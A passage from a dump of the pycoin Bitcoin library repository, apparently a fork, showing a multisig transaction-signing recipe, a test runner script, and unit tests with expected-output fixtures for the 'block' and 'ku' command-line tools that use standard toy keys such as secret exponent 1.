address is valid 29 | payable = sys.argv[3] 30 | assert network.parse.address(payable) is not None 31 | 32 | # create the unsigned transaction 33 | tx = network.tx_utils.create_tx([spendable], [payable]) 34 | 35 | print("here is the transaction: %s" % tx.as_hex(include_unspents=True)) 36 | 37 | 38 | if __name__ == '__main__': 39 | main() 40 | -------------------------------------------------------------------------------- /recipes/multisig/4_sign_tx.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | from pycoin.encoding.hexbytes import h2b 6 | from pycoin.symbols.btc import network 7 | 8 | 9 | def main(): 10 | if len(sys.argv) != 4: 11 | print("usage: %s tx-hex-file-path wif-file-path p2sh-file-path" % sys.argv[0]) 12 | sys.exit(-1) 13 | 14 | # get the tx 15 | with open(sys.argv[1], "r") as f: 16 | tx_hex = f.readline().strip() 17 | tx = network.tx.from_hex(tx_hex) 18 | 19 | # get the WIF 20 | with open(sys.argv[2], "r") as f: 21 | wif = f.readline().strip() 22 | assert network.parse.wif(wif) is not None 23 | 24 | # create the p2sh_lookup 25 | with open(sys.argv[3], "r") as f: 26 | p2sh_script_hex = f.readline().strip() 27 | p2sh_script = h2b(p2sh_script_hex) 28 | 29 | # build a dictionary of script hashes to scripts 30 | p2sh_lookup = network.tx.solve.build_p2sh_lookup([p2sh_script]) 31 | 32 | # sign the transaction with the given WIF 33 | network.tx_utils.sign_tx(tx, wifs=[wif], p2sh_lookup=p2sh_lookup) 34 | 35 | bad_solution_count = tx.bad_solution_count() 36 | print("tx %s now has %d bad solution(s)" % (tx.id(), bad_solution_count)) 37 | 38 | include_unspents = (bad_solution_count > 0) 39 | print("Here is the tx as hex:\n%s" % tx.as_hex(include_unspents=include_unspents)) 40 | 41 | 42 | if __name__ == '__main__': 43 | main() 44 | -------------------------------------------------------------------------------- /test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | THIS_PATH=$0 4 | if [ `expr $0 : '\/'` = 0 ]; then THIS_PATH="`pwd`/$THIS_PATH"; fi 5 | THIS_DIR="`dirname $THIS_PATH`" 6 | cd $THIS_DIR 7 | 8 | PYTHONPATH=$THIS_DIR 9 | export PYTHONPATH 10 | 11 | exec tox ${1+"${@}"} 12 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- 1 | import doctest 2 | 3 | 4 | def load_tests(loader, tests, ignore): 5 | #tests.addTests(doctest.DocTestSuite(pycoin.tx.script.microcode)) 6 | return tests 7 | -------------------------------------------------------------------------------- /tests/btc/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/tests/btc/__init__.py -------------------------------------------------------------------------------- /tests/cmds/ToolTest.py: -------------------------------------------------------------------------------- 1 | import os 2 | import shlex 3 | import sys 4 | import tempfile 5 | import unittest 6 | 7 | try: 8 | from cStringIO import StringIO 9 | except ImportError: 10 | from io import StringIO 11 | 12 | from pycoin.cmds import block, ku, msg, tx, coinc 13 | 14 | 15 | DEFAULT_ENV = { 16 | "PYCOIN_BTC_PROVIDERS": "blockchain.info blockexplorer.com", 17 | "PATH": os.environ.get("PATH") 18 | } 19 | 20 | 21 | TOOL_LOOKUP = { 22 | "tx": (tx.create_parser(), tx.tx), 23 | "ku": (ku.create_parser(), ku.ku), 24 | "msg": (msg.create_parser(), msg.msg), 25 | "block": (block.create_parser(), block.block), 26 | "coinc": (coinc.create_parser(), coinc.coinc), 27 | } 28 | 29 | 30 | class ToolTest(unittest.TestCase): 31 | 32 | def invoke_tool(self, args): 33 | tool_name = args[0] 34 | parser, main = TOOL_LOOKUP[tool_name] 35 | return main(parser.parse_args(args[1:]), parser) 36 | 37 | def launch_tool(self, cmd_line=None, args=None, env=None): 38 | if args is None: 39 | args = shlex.split(cmd_line) 40 | 41 | new_environ = dict(env or {}) 42 | new_environ.update(DEFAULT_ENV) 43 | 44 | # capture io 45 | new_stdout = StringIO() 46 | old_stdout = sys.stdout 47 | old_environ = os.environ 48 | 49 | os.environ = new_environ 50 | sys.stdout = new_stdout 51 | 52 | self.invoke_tool(args) 53 | 54 | sys.stdout = old_stdout 55 | os.environ = old_environ 56 | output = new_stdout.getvalue() 57 | return output 58 | 59 | def set_cache_dir(self): 60 | temp_dir = tempfile.mkdtemp() 61 | return temp_dir 62 | -------------------------------------------------------------------------------- /tests/cmds/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/tests/cmds/__init__.py -------------------------------------------------------------------------------- /tests/cmds/block_test.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import tempfile 3 | 4 | from pycoin.encoding.hexbytes import h2b 5 | 6 | from .ToolTest import ToolTest 7 | 8 | 9 | class BlockTest(ToolTest): 10 | 11 | def test_block_dump(self): 12 | block_hex = ( 13 | '01000000bddd99ccfda39da1b108ce1a5d70038d0a967bacb68b6b63065f626a000000' 14 | '0044f672226090d85db9a9f2fbfe5f0f9609b387af7be5b7fbb7a1767c831c9e995dbe' 15 | '6649ffff001d05e0ed6d01010000000100000000000000000000000000000000000000' 16 | '00000000000000000000000000ffffffff0704ffff001d010effffffff0100f2052a01' 17 | '00000043410494b9d3e76c5b1629ecf97fff95d7a4bbdac87cc26099ada28066c6ff1e' 18 | 'b9191223cd897194a08d0c2726c5747f1db49e8cf90e75dc3e3550ae9b30086f3cd5aa' 19 | 'ac00000000') 20 | block_bin = h2b(block_hex) 21 | block_file = tempfile.NamedTemporaryFile() 22 | block_file.write(block_bin) 23 | block_file.flush() 24 | output = self.launch_tool("block %s" % block_file.name) 25 | self.assertEqual(output, """215 bytes block hash 0000000082b5015589a3fdf2d4baff403e6f0be035a5d9742c1cae6295464449 26 | version 1 27 | prior block hash 000000006a625f06636b8bb6ac7b960a8d03705d1ace08b1a19da3fdcc99ddbd 28 | merkle root 44f672226090d85db9a9f2fbfe5f0f9609b387af7be5b7fbb7a1767c831c9e99 29 | timestamp 2009-01-09T03:02:53 30 | difficulty 486604799 31 | nonce 1844305925 32 | 1 transaction 33 | Tx #0: 34 | Version: 1 tx hash 999e1c837c76a1b7fbb7e57baf87b309960f5ffefbf2a9b95dd890602272f644 134 bytes 35 | TxIn count: 1; TxOut count: 1 36 | Lock time: 0 (valid anytime) 37 | Input: 38 | 0: COINBASE 50000.00000 mBTC 39 | Output: 40 | 0: 1FvzCLoTPGANNjWoUo6jUGuAG3wg1w4YjR receives 50000.00000 mBTC 41 | Total input 50000.00000 mBTC 42 | Total output 50000.00000 mBTC 43 | Total fees 0.00000 mBTC 44 | 45 | """) 46 | 47 | 48 | def main(): 49 | unittest.main() 50 | 51 | 52 | if __name__ == "__main__": 53 | main() 54 | -------------------------------------------------------------------------------- /tests/cmds/ku_test.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from pycoin.cmds import ku 4 | from pycoin.networks.registry import network_for_netcode 5 | 6 | from .ToolTest import ToolTest 7 | 8 | 9 | def make_tests_for_netcode(netcode): 10 | 11 | network = network_for_netcode(netcode) 12 | 13 | class KuTest(ToolTest): 14 | 15 | @classmethod 16 | def setUpClass(cls): 17 | cls.parser = ku.create_parser() 18 | cls.tool_name = "ku" 19 | 20 | def test_ku_create(self): 21 | output = self.launch_tool("ku create -w -n %s" % netcode).split("\n") 22 | bip32 = network.parse.bip32_prv(output[0]) 23 | bip32_as_text = bip32.hwif(as_private=True) 24 | self.assertEqual(output[0], bip32_as_text) 25 | 26 | return KuTest 27 | 28 | 29 | for netcode in ["BTC", "LTC", "BCH", "DOGE", "XTN"]: 30 | exec("%sTests = make_tests_for_netcode('%s')" % (netcode, netcode)) 31 | 32 | 33 | def main(): 34 | unittest.main() 35 | 36 | 37 | if __name__ == "__main__": 38 | main() 39 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/coinc/coinc_compile.txt: -------------------------------------------------------------------------------- 1 | coinc 'OP_DUP OP_HASH160 [751e76e8199196d454941c45d1b3a323f1433bd6] OP_EQUALVERIFY OP_CHECKSIG' 2 | 0x76a914751e76e8199196d454941c45d1b3a323f1433bd688ac 3 | 3LRW7jeCvQCRdPF8S3yUCfRAx4eqXFmdcr 4 | a914cd7b44d0b03f2d026d1e586d7ae18903b0d385f687 5 | bc1q8a9wr6e7whe40py3sywj066euga9zt8ep3emz0r2e4zfna7y629s6kegdt 6 | 00203f4ae1eb3e75f3578491811d27eb59e23a512cf90c73b13c6acd4499f7c4d28b 7 | OP_DUP OP_HASH160 [751e76e8199196d454941c45d1b3a323f1433bd6] OP_EQUALVERIFY OP_CHECKSIG 8 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/coinc/coinc_hex.txt: -------------------------------------------------------------------------------- 1 | coinc 0xaa 2 | 0xaa 3 | 39neL48HKJLL9NKa9UQ9G9bd8cbbRRQgq1 4 | a91458d179ca6112752d00dc9b89ea4f55a585195e2687 5 | bc1qhnh0v4d45q6fz8cuxuvvupt9xx69aupmf3a379tzn6r899qprf7sptacmn 6 | 0020bceef655b5a034911f1c3718ce056531b45ef03b4c7b1f15629e867294011a7d 7 | OP_HASH256 8 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/electrum_initial_key.txt: -------------------------------------------------------------------------------- 1 | # use a 16 digit initial Electrum key (which is repeatedly hashed a million times) 2 | ku E:00000000000000000000000000000001 -s0-4/0-1 -au 3 | 1LDkC1H438qSnJLHCYkQ3WTZQkSEwoYGHc 4 | 1iiAbyBTh1J69UzD1JcrfW8JSVJ9ve9gT 5 | 12mENAcc8ZhZbR6hv7LGm3jV7PwbYeF8Xk 6 | 146wnqmsQNYCZ6AXRCqLkzZyGM1ZU6nr3F 7 | 1A3NpABFd6YHvwr1ti1r8brU3BzQuV2Nr4 8 | 1Mwexajvia3s8AcaGUkyEg9ZZJPJeTbKTZ 9 | 1Gn6nWAoZrpmtV9zuNbyivWvRBpcygWaQX 10 | 189299u8CMxhR4R6XBeCs7PYAzzYKddn2h 11 | 1M5i5P3DhtDbnvSTfmnUbcrTVgF8GDWQW9 12 | 1Jj9gWxes6NJ1ZA15pVX5hBL9gQ3vJj8Qo 13 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/electrum_master_private.txt: -------------------------------------------------------------------------------- 1 | # use a 64 digit Electrum master private key (essentially a secret exponent in hex) 2 | ku E:2ccdb632d4630c8e5a417858f70876afe5585c15b1c0940771af9ac160201b1d -s0-4/0-1 -au 3 | 1LDkC1H438qSnJLHCYkQ3WTZQkSEwoYGHc 4 | 1iiAbyBTh1J69UzD1JcrfW8JSVJ9ve9gT 5 | 12mENAcc8ZhZbR6hv7LGm3jV7PwbYeF8Xk 6 | 146wnqmsQNYCZ6AXRCqLkzZyGM1ZU6nr3F 7 | 1A3NpABFd6YHvwr1ti1r8brU3BzQuV2Nr4 8 | 1Mwexajvia3s8AcaGUkyEg9ZZJPJeTbKTZ 9 | 1Gn6nWAoZrpmtV9zuNbyivWvRBpcygWaQX 10 | 189299u8CMxhR4R6XBeCs7PYAzzYKddn2h 11 | 1M5i5P3DhtDbnvSTfmnUbcrTVgF8GDWQW9 12 | 1Jj9gWxes6NJ1ZA15pVX5hBL9gQ3vJj8Qo 13 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/electrum_master_public.txt: -------------------------------------------------------------------------------- 1 | # use a 64 digit Electrum master public key 2 | ku E:ab86951a14dd7ced4b1d9e17372149e45f982ba4a5dd8c1858eb4779590597ef20fa40ae8e851e0b5aa97e903316366f2c2cab78b2f308595d82cdcd9c662747 -s0-4/0-1 -au 3 | 1LDkC1H438qSnJLHCYkQ3WTZQkSEwoYGHc 4 | 1iiAbyBTh1J69UzD1JcrfW8JSVJ9ve9gT 5 | 12mENAcc8ZhZbR6hv7LGm3jV7PwbYeF8Xk 6 | 146wnqmsQNYCZ6AXRCqLkzZyGM1ZU6nr3F 7 | 1A3NpABFd6YHvwr1ti1r8brU3BzQuV2Nr4 8 | 1Mwexajvia3s8AcaGUkyEg9ZZJPJeTbKTZ 9 | 1Gn6nWAoZrpmtV9zuNbyivWvRBpcygWaQX 10 | 189299u8CMxhR4R6XBeCs7PYAzzYKddn2h 11 | 1M5i5P3DhtDbnvSTfmnUbcrTVgF8GDWQW9 12 | 1Jj9gWxes6NJ1ZA15pVX5hBL9gQ3vJj8Qo 13 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/just_address.txt: -------------------------------------------------------------------------------- 1 | # just the address 2 | ku -a 1 3 | 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 4 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/just_wif.txt: -------------------------------------------------------------------------------- 1 | # just the WIF 2 | ku -W 1 3 | KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 4 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/override-01.txt: -------------------------------------------------------------------------------- 1 | # test --override-network with WIF 2 | ku --override-network LTC KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 3 | 4 | input : KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 5 | network : Litecoin mainnet 6 | symbol : LTC 7 | secret exponent : 1 8 | hex : 1 9 | wif : T33ydQRKp4FCW5LCLLUB7deioUMoveiwekdwUwyfRDeGZm76aUjV 10 | uncompressed : 6u823ozcyt2rjPH8Z2ErsSXJB5PPQwK7VVTwwN4mxLBFrao69XQ 11 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 12 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 13 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 14 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 15 | y parity : even 16 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 17 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 18 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 19 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 20 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 21 | Litecoin address : LVuDpNCSSj6pQ7t9Pv6d6sUkLKoqDEVUnJ 22 | Litecoin address uncompressed : LYWKqJhtPeGyBAw7WC8R3F7ovxtzAiubdM 23 | Litecoin segwit address : ltc1qw508d6qejxtdg4y5r3zarvary0c5xw7kgmn4n9 24 | p2sh segwit : MR8UQSBr5ULwWheBHznrHk2jxyxkHQu8vB 25 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 26 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/override-02.txt: -------------------------------------------------------------------------------- 1 | # test --override-network with LTC address 2 | ku --override-network BTC LTinsMDAYKis3aedQhZuPh3mZHyMkAVsMR 3 | 4 | input : LTinsMDAYKis3aedQhZuPh3mZHyMkAVsMR 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | hash160 : 5d353a2ecdb262477172852d57a3f11de0c19286 8 | Bitcoin address : 19Vqc8uLTfUonmxUEZac7fz1M5c5ZZbAii 9 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/parse_address.txt: -------------------------------------------------------------------------------- 1 | # parse an address 2 | ku 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 3 | 4 | input : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 8 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 9 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/parse_hash160.txt: -------------------------------------------------------------------------------- 1 | # parse hash160 2 | ku 751e76e8199196d454941c45d1b3a323f1433bd6 3 | 4 | input : 751e76e8199196d454941c45d1b3a323f1433bd6 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 8 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 9 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/parse_sec_02.txt: -------------------------------------------------------------------------------- 1 | # parse SEC with leading 02 2 | ku 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 3 | 4 | input : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 8 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 9 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 10 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 11 | y parity : even 12 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 13 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 14 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 15 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 16 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 17 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 18 | Bitcoin address uncompressed : 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm 19 | Bitcoin segwit address : bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4 20 | p2sh segwit : 3JvL6Ymt8MVWiCNHC7oWU6nLeHNJKLZGLN 21 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 22 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/parse_sec_03.txt: -------------------------------------------------------------------------------- 1 | # parse SEC with leading 03 2 | ku 0379be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 3 | 4 | input : 0379be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 8 | public pair y : 83121579216557378445487899878180864668798711284981320763518679672151497189239 9 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 10 | y as hex : b7c52588d95c3b9aa25b0403f1eef75702e84bb7597aabe663b82f6f04ef2777 11 | y parity : odd 12 | key pair as sec : 0379be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 13 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 14 | b7c52588d95c3b9aa25b0403f1eef75702e84bb7597aabe663b82f6f04ef2777 15 | hash160 : adde4c73c7b9cee17da6c7b3e2b2eea1a0dcbe67 16 | uncompressed : bec08011c9e76dcc42e739a2d7752c2e3ac86e6e 17 | Bitcoin address : 1GrLCmVQXoyJXaPJQdqssNqwxvha1eUo2E 18 | Bitcoin address uncompressed : 1JPbzbsAx1HyaDQoLMapWGoqf9pD5uha5m 19 | Bitcoin segwit address : bc1q4h0ycu78h88wzldxc7e79vhw5xsde0n8jk4wl5 20 | p2sh segwit : 38Kw57SDszoUEikRwJNBpypPSdpbAhToeD 21 | corresponding p2sh script : 0014adde4c73c7b9cee17da6c7b3e2b2eea1a0dcbe67 22 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/parse_sec_04.txt: -------------------------------------------------------------------------------- 1 | # parse SEC with leading 04 2 | ku 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 3 | 4 | input : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 5 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 6 | network : Bitcoin mainnet 7 | symbol : BTC 8 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 9 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 10 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 11 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 12 | y parity : even 13 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 14 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 15 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 16 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 17 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 18 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 19 | Bitcoin address uncompressed : 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm 20 | Bitcoin segwit address : bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4 21 | p2sh segwit : 3JvL6Ymt8MVWiCNHC7oWU6nLeHNJKLZGLN 22 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 23 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/parse_wif.txt: -------------------------------------------------------------------------------- 1 | # parse a WIF 2 | ku KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 3 | 4 | input : KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | secret exponent : 1 8 | hex : 1 9 | wif : KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 10 | uncompressed : 5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsreAnchuDf 11 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 12 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 13 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 14 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 15 | y parity : even 16 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 17 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 18 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 19 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 20 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 21 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 22 | Bitcoin address uncompressed : 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm 23 | Bitcoin segwit address : bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4 24 | p2sh segwit : 3JvL6Ymt8MVWiCNHC7oWU6nLeHNJKLZGLN 25 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 26 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/parse_wif_uncompressed.txt: -------------------------------------------------------------------------------- 1 | # parse an uncompressed WIF 2 | ku 5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsreAnchuDf 3 | 4 | input : 5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsreAnchuDf 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | secret exponent : 1 8 | hex : 1 9 | wif : KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 10 | uncompressed : 5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsreAnchuDf 11 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 12 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 13 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 14 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 15 | y parity : even 16 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 17 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 18 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 19 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 20 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 21 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 22 | Bitcoin address uncompressed : 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm 23 | Bitcoin segwit address : bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4 24 | p2sh segwit : 3JvL6Ymt8MVWiCNHC7oWU6nLeHNJKLZGLN 25 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 26 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/secret_exponent.txt: -------------------------------------------------------------------------------- 1 | # simple secret exponent test 2 | ku 1 3 | 4 | input : 1 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | secret exponent : 1 8 | hex : 1 9 | wif : KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 10 | uncompressed : 5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsreAnchuDf 11 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 12 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 13 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 14 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 15 | y parity : even 16 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 17 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 18 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 19 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 20 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 21 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 22 | Bitcoin address uncompressed : 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm 23 | Bitcoin segwit address : bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4 24 | p2sh segwit : 3JvL6Ymt8MVWiCNHC7oWU6nLeHNJKLZGLN 25 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 26 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/secret_exponent_2.txt: -------------------------------------------------------------------------------- 1 | # another secret exponent test 2 | ku 2 3 | 4 | input : 2 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | secret exponent : 2 8 | hex : 2 9 | wif : KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU74NMTptX4 10 | uncompressed : 5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsreAvUcVfH 11 | public pair x : 89565891926547004231252920425935692360644145829622209833684329913297188986597 12 | public pair y : 12158399299693830322967808612713398636155367887041628176798871954788371653930 13 | x as hex : c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5 14 | y as hex : 1ae168fea63dc339a3c58419466ceaeef7f632653266d0e1236431a950cfe52a 15 | y parity : even 16 | key pair as sec : 02c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5 17 | uncompressed : 04c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5\ 18 | 1ae168fea63dc339a3c58419466ceaeef7f632653266d0e1236431a950cfe52a 19 | hash160 : 06afd46bcdfd22ef94ac122aa11f241244a37ecc 20 | uncompressed : d6c8e828c1eca1bba065e1b83e1dc2a36e387a42 21 | Bitcoin address : 1cMh228HTCiwS8ZsaakH8A8wze1JR5ZsP 22 | Bitcoin address uncompressed : 1LagHJk2FyCV2VzrNHVqg3gYG4TSYwDV4m 23 | Bitcoin segwit address : bc1qq6hag67dl53wl99vzg42z8eyzfz2xlkvxechjp 24 | p2sh segwit : 3FWHHE3RVgyv5vYmMrcoRdA25uugWvQbso 25 | corresponding p2sh script : 001406afd46bcdfd22ef94ac122aa11f241244a37ecc 26 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/subkey_series.txt: -------------------------------------------------------------------------------- 1 | # subkey series 2 | ku -w P:foo -s 5-10 3 | xprv9uat5uhfTLHopHUsGxex2soJhWDRKb5FVu9rEKjaNNZGUWhrtgWigXCJqPafqKYAosYpgzw9L64C1HJvu2t54UJ9DYZWBsVcfHzUKUGhopL 4 | xprv9uat5uhfTLHor4pRp24tWu9uKTsh8X5MFK7UL6pFZtDrQnp9XzogPncQzntHtZ23tMKPiUyPedgXb55Z7rYrngBNuzwCbyNUXGUraeicShc 5 | 